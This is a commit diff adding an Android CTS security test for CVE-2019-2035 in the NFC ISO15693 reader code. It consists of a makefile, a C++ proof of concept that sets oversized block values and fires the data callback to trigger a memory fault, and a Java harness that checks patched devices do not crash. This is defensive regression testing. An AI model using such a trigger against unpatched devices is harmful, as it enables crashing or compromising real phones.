[RESTRICT AUTOMERGE] CTS test for Android Security b/122320256
Bug: 122320256
Bug: 129358340
Test: Ran the new testcase on android-8.1.0_r11 to test with/without patch
Change-Id: I18f977c50c25d983562ec7c8994189c161efa230
(cherry picked from commit c7fe9457e0454d87a2a90f5da0f50b297319e48a)
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2019-2035/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2035/Android.mk
new file mode 100644
index 0000000..ed4bfcb
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2035/Android.mk
@@ -0,0 +1,40 @@
+# Copyright (C) 2021 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+include $(CLEAR_VARS)
+
+LOCAL_MODULE := CVE-2019-2035
+LOCAL_SRC_FILES := poc.cpp
+LOCAL_SRC_FILES += ../includes/memutils.c
+LOCAL_MULTILIB := 64
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+LOCAL_C_INCLUDES_64 := system/nfc/src/nfc/include/
+LOCAL_C_INCLUDES_64 += system/nfc/src/include/
+LOCAL_C_INCLUDES_64 += system/nfc/src/gki/common/
+LOCAL_C_INCLUDES_64 += system/nfc/src/gki/ulinux/
+LOCAL_C_INCLUDES_64 += system/nfc/src/nfc/int/
+LOCAL_C_INCLUDES_64 += system/nfc/src/hal/include/
+LOCAL_SHARED_LIBRARIES_64 := libnfc-nci
+LOCAL_SHARED_LIBRARIES_64 += libchrome
+LOCAL_SHARED_LIBRARIES_64 += libbase
+LOCAL_SHARED_LIBRARIES_64 += liblog
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts sts vts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+LOCAL_CFLAGS := -Wall -Werror -DCHECK_OVERFLOW
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2019-2035/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2035/poc.cpp
new file mode 100644
index 0000000..2c8c65d
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2035/poc.cpp
@@ -0,0 +1,108 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <stdlib.h>
+#include <string.h>
+#include <nfc_int.h>
+#include <nfc_api.h>
+#include <tags_defs.h>
+#include <rw_int.h>
+
+extern tRW_CB rw_cb;
+extern tNFC_CB nfc_cb;
+void rw_init(void);
+tNFC_STATUS rw_i93_select(uint8_t* p_uid);
+
+// borrowed from rw_i93.cc
+enum {
+ RW_I93_STATE_NOT_ACTIVATED, /* ISO15693 is not activated */
+ RW_I93_STATE_IDLE, /* waiting for upper layer API */
+ RW_I93_STATE_BUSY, /* waiting for response from tag */
+
+ RW_I93_STATE_DETECT_NDEF, /* performing NDEF detection precedure */
+ RW_I93_STATE_READ_NDEF, /* performing read NDEF procedure */
+ RW_I93_STATE_UPDATE_NDEF, /* performing update NDEF procedure */
+ RW_I93_STATE_FORMAT, /* performing format procedure */
+ RW_I93_STATE_SET_READ_ONLY, /* performing set read-only procedure */
+
+ RW_I93_STATE_PRESENCE_CHECK /* checking presence of tag */
+};
+
+// borrowed from rw_i93.cc
+enum {
+ RW_I93_SUBSTATE_WAIT_UID, /* waiting for response of inventory */
+ RW_I93_SUBSTATE_WAIT_SYS_INFO, /* waiting for response of get sys info */
+ RW_I93_SUBSTATE_WAIT_CC, /* waiting for reading CC */
+ RW_I93_SUBSTATE_SEARCH_NDEF_TLV, /* searching NDEF TLV */
+ RW_I93_SUBSTATE_CHECK_LOCK_STATUS, /* check if any NDEF TLV is locked */
+
+ RW_I93_SUBSTATE_RESET_LEN, /* set length to 0 to update NDEF TLV */
+ RW_I93_SUBSTATE_WRITE_NDEF, /* writing NDEF and Terminator TLV */
+ RW_I93_SUBSTATE_UPDATE_LEN, /* set length into NDEF TLV */
+
+ RW_I93_SUBSTATE_WAIT_RESET_DSFID_AFI, /* reset DSFID and AFI */
+ RW_I93_SUBSTATE_CHECK_READ_ONLY, /* check if any block is locked */
+ RW_I93_SUBSTATE_WRITE_CC_NDEF_TLV, /* write CC and empty NDEF/Terminator TLV
+ */
+
+ RW_I93_SUBSTATE_WAIT_UPDATE_CC, /* updating CC as read-only */
+ RW_I93_SUBSTATE_LOCK_NDEF_TLV, /* lock blocks of NDEF TLV */
+ RW_I93_SUBSTATE_WAIT_LOCK_CC /* lock block of CC */
+};
+
+void GKI_freebuf(void* p_buf __attribute__((unused))) {
+}
+
+int main() {
+ tRW_I93_CB* p_i93 = &rw_cb.tcb.i93;
+
+ GKI_init();
+ rw_init();
+
+ uint8_t p_uid = 1;
+ if (rw_i93_select(&p_uid) != NFC_STATUS_OK) {
+ return EXIT_FAILURE;
+ }
+
+ tNFC_CONN_CB* p_cb = &nfc_cb.conn_cb[NFC_RF_CONN_ID];
+ tNFC_CONN_EVT event = NFC_DATA_CEVT;
+
+ tNFC_CONN *p_data = (tNFC_CONN *) malloc(sizeof(tNFC_CONN));
+ if (!p_data) {
+ return EXIT_FAILURE;
+ }
+
+ p_data->data.p_data = (NFC_HDR *) malloc(sizeof(uint8_t) * 32);
+ if (!(p_data->data.p_data)) {
+ free(p_data);
+ return EXIT_FAILURE;
+ }
+
+ NFC_HDR *p_resp = (NFC_HDR*)p_data->data.p_data;
+ p_resp->len = 0;
+ p_resp->offset = 0;
+
+ p_i93->state = RW_I93_STATE_UPDATE_NDEF;
+ p_i93->sub_state = RW_I93_SUBSTATE_RESET_LEN;
+ p_i93->block_size = 2*(I93_MAX_BLOCK_LENGH + 1);
+ p_i93->ndef_tlv_start_offset = 2*(I93_MAX_BLOCK_LENGH) - 1;
+ p_data->status = NFC_STATUS_OK;
+
+ p_cb->p_cback(0, event, p_data);
+ free(p_data->data.p_data);
+ free(p_data);
+ return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2035.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2035.java
new file mode 100644
index 0000000..0ac90e4
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2035.java
@@ -0,0 +1,37 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.SecurityTest;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2019_2035 extends SecurityTestCase {
+
+ /**
+ * b/122320256
+ * Vulnerability Behaviour: SIGSEGV in self
+ */
+ @SecurityTest(minPatchLevel = "2019-04")
+ @Test
+ public void testPocCVE_2019_2035() throws Exception {
+ pocPusher.only64();
+ AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2019-2035", null, getDevice());
+ }
+}
